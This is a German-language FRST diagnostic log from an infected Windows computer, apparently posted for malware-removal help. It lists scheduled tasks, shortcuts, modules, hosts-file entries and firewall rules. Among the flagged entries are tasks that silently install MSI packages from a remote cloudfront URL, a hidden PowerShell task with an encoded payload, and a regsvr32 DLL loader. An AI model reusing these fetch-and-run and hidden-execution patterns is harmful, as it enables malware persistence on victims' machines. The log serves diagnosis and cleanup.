Task: {9376D540-EE5F-4016-8595-273CB525CC42} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\Windows\system32\MRT.exe [2017-05-23] (Microsoft Corporation)
Task: {9BC09D15-0FE3-42E6-917C-A7AEE41F44B8} - System32\Tasks\Samsung Update => msiexec.exe /i hxxp://D2Buh1bF1G584W.CLouDfRoNT.net/mmtsk/occup.php?p=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;d=20170418 /q <==== ACHTUNG
Task: {9C8653D0-0863-4F6C-BDC9-E813956ACA92} - System32\Tasks\AVAST Software\Avast settings backup => C:\Program Files\Common Files\AV\avast! Antivirus\backup.exe
Task: {A885A6AF-A8B5-484C-9416-15C01E02D67D} - System32\Tasks\fyKiuMkkXh => C:\Program Files (x86)\XIOLoa7MyU\updengine.exe  <==== ACHTUNG
Task: {B109EF88-6721-40A7-B261-9D175E298958} - System32\Tasks\Coobeck Monitor => C:\Program Files (x86)\Arucerther\yaupdcache.exe
Task: {B76D98BF-21F4-4F78-A43A-95F8B72AD43D} - System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand IAA7ADsAIAAgADsAOwA7ACAAIAAgADsAOwAgADsAOwA7ADsAIAA7ADsAOwA7ADsAOwA7ACAAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA (Der Dateneintrag hat 9580 mehr Zeichen). <==== ACHTUNG
Task: {B8732800-4537-42E1-8E92-0D38D2678C49} - System32\Tasks\OneDrive Standalone Update Task v2 => C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe [2017-05-13] ()
Task: {D18984F6-6A81-40A8-A7A5-020084C99227} - System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\575f1242\3bf5ca72.dll" <==== ACHTUNG
Task: {D4BAA7ED-86EB-4B60-9F30-8E2D64B7D175} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {D66B17AC-FEAC-46B3-A7DF-3865C135032C} - System32\Tasks\Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic => C:\\ProgramData\\VideoMemoryDiagnostic\\vmdiag.exe [2017-05-26] ()
Task: {D74DB4BE-DE57-43E2-97AF-575D2663AEE8} - System32\Tasks\Perkeentgreserk => msiexec.exe /i hxxp://d2buh1bf1g584w.cloudfront.net/msi/rel.php?u=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&amp;v=20170316 /q <==== ACHTUNG
Task: {DBE77801-9F7F-4CE7-9DE2-FDB39098637C} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_171_pepper.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {E6C4E4E8-090E-49DF-8E3F-70FC88E8E56F} - System32\Tasks\{25FE2E5B-9255-99F0-1368-8A42E54326C9} => C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}\63E4E652-D44F-51F9-5689-B0A4B2295152.exe [2017-06-02] () <==== ACHTUNG
Task: {EC667399-8041-43FD-BACE-C95F53D20EC6} - System32\Tasks\SoftUpgrade => C:\Program Files (x86)\SoftUpgrade\softup.exe [2017-05-29] () <==== ACHTUNG
Task: {F51F669D-34D8-49E3-9371-1DA093A90419} - System32\Tasks\Gerfety Renew => C:\Program Files (x86)\Prfasaretaly\yaupdcache.exe [2017-05-29] ()
Task: {F6691563-4A82-4630-97F5-2AD5B410283B} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verkn黳fungen =============================

(Die Eintr鋑e k鰊nen gelistet werden, um sie zur點kzusetzen oder zu entfernen.)

WMI_ActiveScriptEventConsumer_ASEC: <===== ACHTUNG

Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ\Online Help.lnk -> hxxp://www.virtualdj.com/wiki
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ\www.virtualdj.com.lnk -> hxxp://www.virtualdj.com
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Intеrnеt Ехрlоrеr.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) <===== Cyrillic
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\d6731079c9ca4513\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\9501e18d7c2ab92e\CyberLyric - Chrome.lnk -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\9501e18d7c2ab92e ()
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\8e5c0db72600a899\Google Chrome.lnk -> C:\Program Files (x86)\Applemy\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\82c1ad0bea96409d\CyberLyric - Chrome.lnk -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\82c1ad0bea96409d ()
Shortcut: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9\CyberLyric - Chrome.lnk -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9 ()

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2016-08-21 10:29 - 2016-08-21 10:29 - 00594944 _____ () C:\Program Files\EqualizerAPO\EqualizerAPO.dll
2015-11-22 22:05 - 2015-11-22 22:05 - 01530880 _____ () C:\Program Files\EqualizerAPO\libsndfile-1.dll
2014-03-15 23:29 - 2014-03-15 23:29 - 02604934 _____ () C:\Program Files\EqualizerAPO\libfftw3f-3.dll
2017-03-17 00:03 - 2017-03-17 00:03 - 00306688 _____ () C:\Program Files (x86)\Qizsywosale Core\local64spl.dll
2017-05-29 22:00 - 2015-06-01 01:57 - 02445824 _____ () C:\Program Files\Quick Tharks Screen Saver\Quick Tharks Screen Saver.dll
2017-02-27 11:37 - 2016-02-04 12:53 - 00387144 _____ () C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE
2015-08-09 05:50 - 2016-10-07 00:07 - 00393208 _____ () C:\Windows\system32\igfxTray.exe
2017-06-01 00:15 - 2017-01-03 13:20 - 01052256 _____ () C:\ProgramData\windows\windows.exe
2017-06-05 10:09 - 2017-06-05 10:09 - 00307200 _____ () C:\Windows\TEMP\gB39B.tmp.exe
2017-06-05 10:09 - 2017-06-05 10:09 - 00478208 _____ () C:\Windows\TEMP\gB40B.tmp.exe
2017-05-31 13:52 - 2017-05-31 07:18 - 00101528 _____ () C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
2017-05-08 16:50 - 2017-06-01 12:00 - 01886720 _____ () c:\users\nick schuster\appdata\roaming\winsapsvc\winsap.dll
2017-03-28 19:38 - 2017-03-28 04:48 - 00105984 _____ () c:\programdata\package cache\{2a002f88-fd5d-379b-a350-a25d84af128b}v14.0.25420\packages\visualc_d14\vc_ide.base\vc_ide_base.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)


==================== Verkn黳fungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt.)

HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\regfile: regedit.exe "%1" <===== ACHTUNG

==================== Internet Explorer Vertrauensw黵dig/Eingeschr鋘kt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ==========================

(Wenn ben鰐igt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zur點kzusetzen.)

2016-11-23 18:06 - 2017-05-30 13:55 - 00013624 _____ C:\Windows\system32\Drivers\etc\hosts

127.0.0.1 rad.msn.com
127.0.0.1 live.rads.msn.com
127.0.0.1 ads1.msn.com
127.0.0.1 g.msn.com
127.0.0.1 a.ads2.msads.net
127.0.0.1 b.ads2.msads.net
127.0.0.1 ac3.msn.com
127.0.0.1 apps.skype.com
127.0.0.1 clients2.google.com
127.0.0.1 v1.ff.avast.com
127.0.0.1 vlcproxy.ff.avast.com
127.0.0.1 wemsofts.com
127.0.0.1 bongadoom.com
127.0.0.1 wepcmainsystem.com
127.0.0.1 internalcampaigntargets.com
127.0.0.1 bongadoom.com
127.0.0.1 getthefilenow.com
127.0.0.1 bigpicturepop.com
127.0.0.1 wizzcaster.com
127.0.0.1 bestoffersfortoday.com
127.0.0.1 wepcmainsystem.com
127.0.0.1 agent.wizztrakys.com
127.0.0.1 csdimonetize.com
127.0.0.1 dl.azalee.site
127.0.0.1 titiaredh.com
127.0.0.1 wepcdisplaysystem.com
127.0.0.1 wepcanalyticsystem.com
127.0.0.1 healthydownload.com
127.0.0.1 leading2download.com
127.0.0.1 dwl0.wizzlabs.com

Da befinden sich 364 zus鋞zliche Eintr鋑e.


==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix f黵 diesen Bereich.)

HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows Photo Viewer\Hintergrundbild der Windows-Fotoanzeige.jpg
DNS Servers: 8.8.8.8 - 8.8.4.4
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Eintr鋑e ==

MSCONFIG\Services: AppleAppSvc => 2
MSCONFIG\Services: AppleCloudSvc => 2
MSCONFIG\Services: BDESVC => 3
MSCONFIG\Services: BITS => 2
MSCONFIG\Services: DbxSvc => 2
MSCONFIG\Services: KingoSoftService => 2
MSCONFIG\Services: Kitty => 2
MSCONFIG\Services: pgt_svc => 2
MSCONFIG\Services: Recover => 2
MSCONFIG\Services: srcsrv => 2
MSCONFIG\Services: SysLinkMapper => 2
HKLM\...\StartupApproved\Run: => "AdobeAAMUpdater-1.0"
HKLM\...\StartupApproved\Run: => "vnlgp"
HKLM\...\StartupApproved\Run: => "AirServer64"
HKLM\...\StartupApproved\Run: => "gplyra"
HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"
HKLM\...\StartupApproved\Run32: => "BlueStacks Agent"
HKLM\...\StartupApproved\Run32: => "KMS"
HKLM\...\StartupApproved\Run32: => "Dropbox"
HKLM\...\StartupApproved\Run32: => "KiesTrayAgent"
HKLM\...\StartupApproved\Run32: => "IJNetworkScannerSelectorEX"
HKLM\...\StartupApproved\Run32: => "CanonQuickMenu"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\StartupFolder: => "smss.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Skype"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Steam"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify Web Helper"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "HKOEGBGL4X"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "tsiVideo"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spiele Post"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "6CC2RLD170"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Google Updater 2.0"

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [TCP Query User{22AB143C-8D2D-4A97-8DD0-BA531B1CC8C0}C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe
FirewallRules: [UDP Query User{96E2CDFB-4366-4001-B896-915F472C33C7}C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_66\bin\javaw.exe
FirewallRules: [TCP Query User{08BD94A2-3AB2-4176-BFA3-6ECD3237AF6A}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [UDP Query User{A093A1CB-FFE2-41F2-8755-748DAFCA91D3}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [{B8EFB49A-616F-4DCE-8DAB-00382F0142DB}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{26CEF901-32C1-48FD-B121-1CCDA0B2B727}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{9093F9AF-59BF-4438-901B-55A2BCA47AAF}] => (Allow) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
FirewallRules: [{E3F33213-2D1F-451B-8111-0C2145F24BB2}] => (Allow) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
FirewallRules: [TCP Query User{86241E34-E8BA-4BC3-85B5-7A1BF84E7249}C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe] => (Block) C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe
FirewallRules: [UDP Query User{BB112180-BAC4-4667-A338-483250E2DDE3}C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe] => (Block) C:\program files (x86)\steam\steamapps\common\tom clancy's ghost recon phantoms - eu\game\pdc-live\ghostreconphantoms.exe
FirewallRules: [{67FE29D8-F9EC-4911-A8FD-4DA5EB1CC57E}] => (Allow) C:\Users\Nick Schuster\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe
FirewallRules: [{73E1D05C-E37A-49D0-9EEF-3F095697DF28}] => (Allow) C:\Program Files (x86)\Windows Live\Contacts\wlcomm.exe
FirewallRules: [{D8F57116-C8F8-4A7A-A754-306A6CA0C90D}] => (Allow) LPort=2869
FirewallRules: [{F66DF897-E8A8-4CB8-9052-E1FB7F5C4AD5}] => (Allow) LPort=1900
FirewallRules: [{73EDF2AF-E150-4E83-AF4F-A1F19E84F9EC}] => (Allow) C:\Program Files (x86)\Windows Live\Messenger\msnmsgr.exe
FirewallRules: [TCP Query User{DE14579F-7B4B-4280-BB0A-C30A54A3B6C6}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [UDP Query User{5135D920-7EB9-48CC-98A9-F97B5A6315D1}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [TCP Query User{000568FB-833E-4074-9BF9-E65421169028}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [UDP Query User{D8AEB9CF-BCEE-48A1-B5F2-D15985DE2D8C}C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe] => (Block) C:\program files (x86)\java\jre1.8.0_91\bin\javaw.exe
FirewallRules: [{B700AFED-8A4C-4D2B-9531-88AE1F0961DF}] => (Allow) C:\Program Files (x86)\GlassWire\GWCtlSrv.exe
FirewallRules: [{A9CEE88F-19AC-40D4-B1E0-1CE9ADA40CEA}] => (Allow) C:\Program Files (x86)\GlassWire\GWCtlSrv.exe
FirewallRules: [TCP Query User{15F9F589-2E16-488F-A735-46B4687E0A25}C:\program files (x86)\skype\phone\skype.exe] => (Block) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [UDP Query User{9E9FDBC5-6384-4D1D-810B-ABAC18CAE71E}C:\program files (x86)\skype\phone\skype.exe] => (Block) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [TCP Query User{185173E7-A203-4A22-A422-CE964D957E81}C:\program files\java\jre1.8.0_101\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_101\bin\javaw.exe
FirewallRules: [UDP Query User{494306F8-0AFD-4162-84F4-20CC75C86288}C:\program files\java\jre1.8.0_101\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_101\bin\javaw.exe
FirewallRules: [TCP Query User{A5A5FDEC-CF06-4BD4-B0A0-6BC84A789F7B}C:\users\nick schuster\appdata\roaming\spotify\spotify.exe] => (Block) C:\users\nick schuster\appdata\roaming\spotify\spotify.exe
FirewallRules: [UDP Query User{0864A6DE-1108-42B0-8EED-DAFDE57300E2}C:\users\nick schuster\appdata\roaming\spotify\spotify.exe] => (Block) C:\users\nick schuster\appdata\roaming\spotify\spotify.exe
FirewallRules: [TCP Query User{0FCE7EA3-D45A-4939-9F66-5519BC75F92C}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [UDP Query User{FD3E8EB7-E26C-4BCC-A156-9B91C355B3E7}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [TCP Query User{EDE1FD40-AA4B-4EF0-959C-F8CE1A605D15}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [UDP Query User{62B95D88-E6FA-4DA3-A731-F12CE4454A71}C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe] => (Allow) C:\program files\adobe\adobe after effects cs6\support files\afterfx.exe
FirewallRules: [TCP Query User{1219B3DD-72AC-4318-BDB6-10CC2D867F71}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [UDP Query User{E532A6F6-9983-4D4B-AD87-FB0154588B9A}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Block) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [TCP Query User{B9299B44-1342-40FC-AF31-121EAEEA8CE6}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [UDP Query User{EA9B50E4-1481-469A-9A3B-7B29917064B6}C:\program files\java\jre1.8.0_111\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_111\bin\javaw.exe
FirewallRules: [TCP Query User{A836AADE-AAF1-490E-A824-2379A923DEA2}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [UDP Query User{A327B216-10EA-4777-81F3-F7E411B925C3}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [{08CB5F11-70F8-4D75-A111-4E1E8BBD9E3E}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{8A58A32F-5A08-4A6A-82A7-884402B2A3A9}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [TCP Query User{440E6BBA-8081-42E8-A3EB-227467E44FF0}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [UDP Query User{192F493E-9BEA-4B3F-A07E-DC925E5A956B}C:\users\nick schuster\documents\move or die\love\win\love.exe] => (Block) C:\users\nick schuster\documents\move or die\love\win\love.exe
FirewallRules: [{55D8B042-B4DB-4BDC-8388-40CAEE3B6280}] => (Allow) C:\Program Files (x86)\Dropbox\Client\Dropbox.exe
FirewallRules: [TCP Query User{1E2DE2A6-4A6F-48DD-AFFF-3754FB938712}C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [UDP Query User{1B711A47-FC46-4A43-A47B-D50E933AE73E}C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor_pre_alpha_-_play_at_your_own_risk\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [TCP Query User{CCD12204-D344-4471-89B4-CE5D09ED25A3}C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [UDP Query User{4090B209-49DE-4A00-AA22-61541F35DA1C}C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [TCP Query User{D708F925-06D9-4256-8202-3F4762014482}C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe
FirewallRules: [UDP Query User{3D9EDEFE-8940-4B66-B4F2-C7CE32744C78}C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe
FirewallRules: [{64204D1E-A55F-44F5-8FA5-1E01527D722E}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{32F7B5EA-0ECA-4D23-9F23-07379BEA381C}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{4FF95AC7-EC5D-4600-AD0D-055FF8D32293}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [{16730D0F-F55B-4954-BE21-012786AF645E}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [TCP Query User{FF757347-BB96-48C2-895D-3245201BDF29}C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe] => (Block) C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe
FirewallRules: [UDP Query User{418F7263-9144-4F6E-89C2-567F4FC4D4B2}C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe] => (Block) C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe
FirewallRules: [{CC6C422C-F23C-43E9-849F-AB743F6EF50D}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe
FirewallRules: [TCP Query User{398F9BD3-E78B-48BB-BA1E-1D07F750B4B8}C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe] => (Block) C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe
FirewallRules: [UDP Query User{80B3AFDD-761C-4E3D-961B-D5DEEB7D4037}C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe] => (Block) C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe
FirewallRules: [TCP Query User{BCF4E2CA-404F-42B4-B15A-1DC01A91FCD1}C:\program files (x86)\secondlifeviewer\slvoice.exe] => (Allow) C:\program files (x86)\secondlifeviewer\slvoice.exe
FirewallRules: [UDP Query User{FB5E0AAD-BEBA-4E6E-9548-7D5B5611E704}C:\program files (x86)\secondlifeviewer\slvoice.exe] => (Allow) C:\program files (x86)\secondlifeviewer\slvoice.exe
FirewallRules: [TCP Query User{8BA8D722-6016-406D-9E15-195324DC63A8}C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe] => (Block) C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe
FirewallRules: [UDP Query User{7F51C867-76EE-4250-8CF3-7B7EFE720FB8}C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe] => (Block) C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe
FirewallRules: [{2B3F7CC6-59B7-4284-858C-F526FDA6E80E}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [{6E1A0C9B-71D6-4408-A801-184E33CF6F48}] => (Allow) C:\Users\Nick Schuster\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{A1305C14-D2A3-49FB-B1C5-84DBD2C016EE}] => (Allow) C:\Windows\SysWOW64\PnkBstrA.exe
FirewallRules: [{41BE6AEB-1FB9-4FE8-9A33-6BE94F8777CD}] => (Allow) C:\Windows\SysWOW64\PnkBstrA.exe
FirewallRules: [{00EC57C6-545A-4619-AAD9-ABD42ECD7175}] => (Allow) C:\Windows\SysWOW64\PnkBstrB.exe
FirewallRules: [{6293536B-CA56-4567-8598-4712417A6B4D}] => (Allow) C:\Windows\SysWOW64\PnkBstrB.exe
FirewallRules: [{9DF35FDD-92CF-4145-BDB7-D5B71F698ADF}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3.exe
FirewallRules: [{39DD858C-C5D5-4F81-88A5-638EAE48C1E2}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3.exe
FirewallRules: [{43C8EB70-C312-4BD4-98CF-A5D3E0A93072}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3_d3d11.exe
FirewallRules: [{13B756F9-75C0-4EEF-B149-81630829BF6B}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3_d3d11.exe
FirewallRules: [{CD142FC9-8278-4D60-822B-AC672B222BCC}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Updater.exe
FirewallRules: [{EED51691-BE3C-45CE-AE8E-A7D9CF8939E3}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Updater.exe
FirewallRules: [{1C86D69B-F99E-4AB0-9433-9823D1D6C77B}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Editor.exe
FirewallRules: [{9979D1DF-0F9C-4992-BA47-0A5506E83682}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Editor.exe
FirewallRules: [{0E7EF26A-91E2-4A99-A124-767A4E59B4C6}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{B50E54E0-7F56-45FF-B941-F4291BC08032}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{EF6BDB74-45D8-46B1-B87C-1FDEE35C6A51}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
